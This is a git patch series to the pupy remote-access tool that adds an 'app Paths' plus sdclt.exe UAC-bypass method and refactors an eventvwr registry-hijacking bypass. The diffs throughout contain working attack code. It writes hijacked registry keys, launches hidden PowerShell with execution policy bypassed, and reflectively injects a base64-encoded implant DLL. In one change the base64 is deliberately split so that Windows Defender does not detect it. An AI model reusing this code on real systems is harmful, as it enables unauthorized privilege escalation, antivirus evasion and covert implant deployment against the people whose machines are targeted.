From da8a961a3635b95c52613326a30dc3cc7c2e02cb Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Wed, 15 Mar 2017 13:08:04 -0400 Subject: [PATCH 1/2] New method for bypassing UAC: app Paths+sdclt.exe --- pupy/modules/bypassuac.py | 30 +++++---- pupy/modules/lib/windows/bypassuac.py | 61 ++++++++++++++----- .../all/pupwinutils/bypassuac_remote.py | 41 ++++++++++++- 3 files changed, 104 insertions(+), 28 deletions(-) diff --git a/pupy/modules/bypassuac.py b/pupy/modules/bypassuac.py index e6eb1ed2..bff856c4 100644 --- a/pupy/modules/bypassuac.py +++ b/pupy/modules/bypassuac.py @@ -17,7 +17,7 @@ class BypassUAC(PupyModule): def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="bypassuac", description=self.__doc__) - self.arg_parser.add_argument('-m', dest='method', choices=["eventvwr", "dll_hijacking"], default=None, help="Default: the technic will be choosen for you. 'dll_hijacking' for wind7-8.1 and 'eventvwr' for wind7-10.") + self.arg_parser.add_argument('-m', dest='method', choices=["appPaths","eventvwr", "dll_hijacking"], default=None, help="By default, the method will be choosen for you: 'eventvwr' for wind7-8.1 and 'appPaths' for wind10. dll_hijacking method can be used for Windows 7/2008 and Windows 8/2012") def run(self, args): # check if a UAC Bypass can be done @@ -25,25 +25,31 @@ class BypassUAC(PupyModule): self.error('Your are not on the local administrator group.') return - dll_hijacking = False - registry_hijacking = False + appPathsMethod = False + eventvwrMethod = False + dllhijackingMethod = False bypassUasModule = bypassuac(self, rootPupyPath=ROOT) # choose methods depending on the OS Version if not args.method: if self.client.desc['release'] == '10': - registry_hijacking = True + appPathsMethod = True else: - dll_hijacking = True + dllhijackingMethod = True + elif args.method == "appPathsMethod": + appPathsMethod = True elif args.method == "eventvwr": - registry_hijacking = True - else: - dll_hijacking = True + eventvwrMethod = True + elif args.method == "dll_hijacking": + dllhijackingMethod = True - if registry_hijacking: + if appPathsMethod: + self.success("Trying to bypass UAC using the 'app paths'+'sdclt.exe' method, wind10 targets ONLY...") + bypassUasModule.bypassuac_through_appPaths() + if eventvwrMethod: self.success("Trying to bypass UAC using the Eventvwr method, wind7-10 targets...") - bypassUasModule.bypassuac_through_EventVwrBypass() - elif dll_hijacking: + bypassUasModule.bypassuac_through_eventVwrBypass() + if dllhijackingMethod: # Invoke-BypassUAC.ps1 uses different technics to bypass depending on the Windows Version (Sysprep for Windows 7/2008 and NTWDBLIB.dll for Windows 8/2012) self.success("Trying to bypass UAC using DLL Hijacking, wind7-8.1 targets...") - bypassUasModule.bypassuac_through_PowerSploitBypassUAC() + bypassUasModule.bypassuac_through_powerSploitBypassUAC() diff --git a/pupy/modules/lib/windows/bypassuac.py b/pupy/modules/lib/windows/bypassuac.py index 120d6549..bb778b08 100644 --- a/pupy/modules/lib/windows/bypassuac.py +++ b/pupy/modules/lib/windows/bypassuac.py @@ -38,14 +38,42 @@ class bypassuac(): self.invokeReflectivePEInjectionLocalPath = os.path.join(rootPupyPath,"pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1") self.invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1") + def bypassuac_through_appPaths(self): + ''' + Performs an UAC bypass attack by using app Paths + sdclt.exe (Wind10 Only): Thanks to enigma0x3 (https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/). + ''' + self.module.info('Running app Paths method for bypassing UAC...') + if '64' in self.module.client.desc['os_arch'] and '64' in self.module.client.desc['proc_arch']: + self.module.info('Current process: 64bits, System arch: 64bits, continue...') + elif '64' in self.module.client.desc['os_arch'] and '32' in self.module.client.desc['proc_arch']: + self.module.error('Current process: 64bits, System arch: 32bits, impossible to execute sdclt.exe in this configuration. ABORDING...') + self.module.error('You have to migrate to a 64 bits process before') + return + elif '32' in self.module.client.desc['os_arch'] and '32' in self.module.client.desc['proc_arch']: + self.module.info('Current process: 32bits, System arch: 32bits, continue...') + if '64' in self.module.client.desc['proc_arch']: + force_x86_dll = False + else: + force_x86_dll = True + self.module.info('Uploading temporary files') + self.uploadPupyDLL(force_x86_dll=force_x86_dll) + self.uploadPowershellScripts() + files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath] + self.module.info('Altering the registry') + self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete) + + self.module.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...") + self.module.success("If nothing happened, try to migrate to another process and try again.") + - def bypassuac_through_EventVwrBypass(self): + def bypassuac_through_eventVwrBypass(self): # ''' # Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/) # ''' # On a Windows 10 "C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe" does not exist, we cannot force to use a x64 bit powershell interpreter # The pupy dll upload will be a 32 bit + self.module.info('Running eventVwr method for bypassing UAC...') if '64' in self.module.client.desc['proc_arch']: upload_x86_dll = False else: @@ -55,16 +83,17 @@ class bypassuac(): self.uploadPowershellScripts() files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath] self.module.info('Altering the registry') - self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking(self.mainPowershellScriptRemotePath, files_to_delete) + self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_eventvwr(self.mainPowershellScriptRemotePath, files_to_delete) self.module.success("Waiting for a connection from the DLL (take few seconds)...") self.module.success("If nothing happened, try to migrate to another process and try again.") - def bypassuac_through_PowerSploitBypassUAC(self): + def bypassuac_through_powerSploitBypassUAC(self): ''' - Performs a bypass UAC attack by utilizing the powersloit UACBypass script (wind7 to 8.1) + Performs an UAC bypass attack by using the powersloit UACBypass script (wind7 to 8.1) ''' #Constants + self.module.info('Running powersloit UACBypass method for bypassing UAC...') bypassUACcmd = "{InvokeBypassUAC} -Command 'powershell.exe -ExecutionPolicy Bypass -file {mainPowershell} -Verbose'".format(InvokeBypassUAC=self.bypassUAC_random_name, mainPowershell=self.mainPowershellScriptRemotePath) self.module.info('Uploading temporary files') self.uploadPowershellScripts() @@ -100,18 +129,18 @@ class bypassuac(): {InvokeReflectivePEInjection} -PEBytes $PEBytes -ForceASLR """.format(invoke_reflective_pe_injection=self.invokeReflectivePEInjectionRemotePath, pupy_dll=self.pupyDLLRemotePath, InvokeReflectivePEInjection=self.reflectivePE_random_name) - logging.debug("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath)) + logging.info("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath)) with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write(mainPowerShellScriptPrivileged) - logging.debug("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath)) + logging.info("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath)) content = re.sub("Invoke-ReflectivePEInjection", self.reflectivePE_random_name, open(self.invokeReflectivePEInjectionLocalPath).read(), flags=re.I) tmp_file = os.path.join(gettempdir(),'reflective_pe.txt') with open(tmp_file, 'w+') as w: w.write(content) upload(self.module.client.conn, tmp_file, self.invokeReflectivePEInjectionRemotePath) - logging.debug("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath)) + logging.info("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath)) upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath) def uploadPupyDLL(self, force_x86_dll=False): @@ -120,19 +149,23 @@ class bypassuac(): ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) - logging.debug("Address configured is %s:%s for pupy dll..."%(host,port)) - logging.debug("Looking for process architecture...") + logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) + logging.info("Looking for process architecture...") if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: - logging.debug("Target achitecture is x64, using a x64 dll") + logging.info("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf()) else: - logging.debug("Target achitecture is x86, using a x86 dll") + logging.info("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf()) - logging.debug("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) + logging.info("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: - w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) + #the following powershell line in a txt file is detected by Windows defender + #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) + #To bypass antivirus detection: + dllbuffEncoded = base64.b64encode(dllbuff) + w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:])) - logging.debug("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath)) + logging.info("Uploading pupy dll {0} to {1}".format(self.pupyDLLLocalPath, self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath) diff --git a/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py b/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py index 56ce6f58..2e84aa04 100644 --- a/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py +++ b/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py @@ -21,14 +21,14 @@ def get_env_variables(): return tmp, sysroot -def registry_hijacking(mainPowershellScriptRemotePath, files_to_delete): +def registry_hijacking_eventvwr(mainPowershellScriptRemotePath, files_to_delete): # ''' # Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/) # ''' HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) powershellPath = '%s\\system32\\WindowsPowerShell\\v1.0\\powershell.exe' % os.path.expandvars("%SYSTEMROOT%") mscCmdPath = "Software\Classes\mscfile\shell\open\command" - cmd = "{1} -ExecutionPolicy Bypass -File {0}".format(mainPowershellScriptRemotePath, powershellPath) + cmd = "{1} -w hidden -noni -nop -ExecutionPolicy Bypass -File {0}".format(mainPowershellScriptRemotePath, powershellPath) try: # The registry key already exist in HKCU, altering... @@ -52,3 +52,40 @@ def registry_hijacking(mainPowershellScriptRemotePath, files_to_delete): DeleteKey(HKCU, mscCmdPath) deleteTHisRemoteFile(files_to_delete) +def registry_hijacking_appPath(mainPowershellScriptRemotePath, files_to_delete): + ''' + ''' + tmp, sysRoot = get_env_variables() + HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) + appPathsPath = "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" + powershellPath = '%s\\system32\\WindowsPowerShell\\v1.0\\powershell.exe' % sysRoot + cmd = "{0} -w hidden -noni -nop -ExecutionPolicy Bypass -File {1}".format(powershellPath, mainPowershellScriptRemotePath) + cmdPath = "{0}\\temp.bat".format(tmp) + + try: + # The registry key already exist in HKCU, altering... + key = OpenKey(HKCU, appPathsPath, KEY_SET_VALUE) + except: + # Adding the registry key in HKCU + key = CreateKey(HKCU, appPathsPath) + + registry_key = OpenKey(HKCU, appPathsPath, 0, KEY_WRITE) + SetValueEx(registry_key, '', 0, REG_SZ, cmdPath) + CloseKey(registry_key) + + #Creates cmd file + f=open(cmdPath, "w") + f.write(cmd) + f.close() + + # Executing sdclt.exe + triggerPath = os.path.join(os.environ['WINDIR'],'System32','sdclt.exe') + output = subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) + + # Sleeping 5 secds... + time.sleep(5) + + #Clean everything + DeleteKey(HKCU, appPathsPath) + deleteTHisRemoteFile(files_to_delete) + deleteTHisRemoteFile([cmdPath]) From 5c3e5f10967924cfd833940d78e189a0746eb39c Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Sun, 2 Apr 2017 09:59:18 -0400 Subject: [PATCH 2/2] "app Paths" + "sdclt.exe" from 32 bits process --- pupy/modules/lib/windows/bypassuac.py | 10 +----- .../all/pupwinutils/bypassuac_remote.py | 31 ++++++++++++------- 2 files changed, 20 insertions(+), 21 deletions(-) diff --git a/pupy/modules/lib/windows/bypassuac.py b/pupy/modules/lib/windows/bypassuac.py index bb778b08..ca44b235 100644 --- a/pupy/modules/lib/windows/bypassuac.py +++ b/pupy/modules/lib/windows/bypassuac.py @@ -43,15 +43,7 @@ class bypassuac(): Performs an UAC bypass attack by using app Paths + sdclt.exe (Wind10 Only): Thanks to enigma0x3 (https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/). ''' self.module.info('Running app Paths method for bypassing UAC...') - if '64' in self.module.client.desc['os_arch'] and '64' in self.module.client.desc['proc_arch']: - self.module.info('Current process: 64bits, System arch: 64bits, continue...') - elif '64' in self.module.client.desc['os_arch'] and '32' in self.module.client.desc['proc_arch']: - self.module.error('Current process: 64bits, System arch: 32bits, impossible to execute sdclt.exe in this configuration. ABORDING...') - self.module.error('You have to migrate to a 64 bits process before') - return - elif '32' in self.module.client.desc['os_arch'] and '32' in self.module.client.desc['proc_arch']: - self.module.info('Current process: 32bits, System arch: 32bits, continue...') - if '64' in self.module.client.desc['proc_arch']: + if '64' in self.module.client.desc['os_arch']: force_x86_dll = False else: force_x86_dll = True diff --git a/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py b/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py index 2e84aa04..8e6b005b 100644 --- a/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py +++ b/pupy/packages/windows/all/pupwinutils/bypassuac_remote.py @@ -2,6 +2,7 @@ import os import time import subprocess from _winreg import * +import ctypes def deleteTHisRemoteFile(tmp_files): for file in tmp_files: @@ -15,9 +16,9 @@ def get_env_variables(): tmp = os.path.expandvars("%TEMP%") except: tmp = os.path.expandvars("%APPDATA%") - + sysroot = os.path.expandvars("%SYSTEMROOT%") - + return tmp, sysroot @@ -27,9 +28,9 @@ def registry_hijacking_eventvwr(mainPowershellScriptRemotePath, files_to_delete) # ''' HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) powershellPath = '%s\\system32\\WindowsPowerShell\\v1.0\\powershell.exe' % os.path.expandvars("%SYSTEMROOT%") - mscCmdPath = "Software\Classes\mscfile\shell\open\command" + mscCmdPath = "Software\Classes\mscfile\shell\open\command" cmd = "{1} -w hidden -noni -nop -ExecutionPolicy Bypass -File {0}".format(mainPowershellScriptRemotePath, powershellPath) - + try: # The registry key already exist in HKCU, altering... key = OpenKey(HKCU, mscCmdPath, KEY_SET_VALUE) @@ -40,18 +41,18 @@ def registry_hijacking_eventvwr(mainPowershellScriptRemotePath, files_to_delete) registry_key = OpenKey(HKCU, mscCmdPath, 0, KEY_WRITE) SetValueEx(registry_key, '', 0, REG_SZ, cmd) CloseKey(registry_key) - + # Executing eventvwr.exe eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe') output = subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) # Sleeping 5 secds... time.sleep(5) - + #Clean everything DeleteKey(HKCU, mscCmdPath) deleteTHisRemoteFile(files_to_delete) - + def registry_hijacking_appPath(mainPowershellScriptRemotePath, files_to_delete): ''' ''' @@ -61,7 +62,7 @@ def registry_hijacking_appPath(mainPowershellScriptRemotePath, files_to_delete): powershellPath = '%s\\system32\\WindowsPowerShell\\v1.0\\powershell.exe' % sysRoot cmd = "{0} -w hidden -noni -nop -ExecutionPolicy Bypass -File {1}".format(powershellPath, mainPowershellScriptRemotePath) cmdPath = "{0}\\temp.bat".format(tmp) - + try: # The registry key already exist in HKCU, altering... key = OpenKey(HKCU, appPathsPath, KEY_SET_VALUE) @@ -72,19 +73,25 @@ def registry_hijacking_appPath(mainPowershellScriptRemotePath, files_to_delete): registry_key = OpenKey(HKCU, appPathsPath, 0, KEY_WRITE) SetValueEx(registry_key, '', 0, REG_SZ, cmdPath) CloseKey(registry_key) - + #Creates cmd file f=open(cmdPath, "w") f.write(cmd) f.close() - - # Executing sdclt.exe + + # Creation sdclt.exe path triggerPath = os.path.join(os.environ['WINDIR'],'System32','sdclt.exe') + #Disables file system redirection for the calling thread (File system redirection is enabled by default) + wow64 = ctypes.c_long(0) + ctypes.windll.kernel32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64)) + # Executing sdclt.exe output = subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) + #Enable file system redirection for the calling thread + ctypes.windll.kernel32.Wow64EnableWow64FsRedirection(wow64) # Sleeping 5 secds... time.sleep(5) - + #Clean everything DeleteKey(HKCU, appPathsPath) deleteTHisRemoteFile(files_to_delete)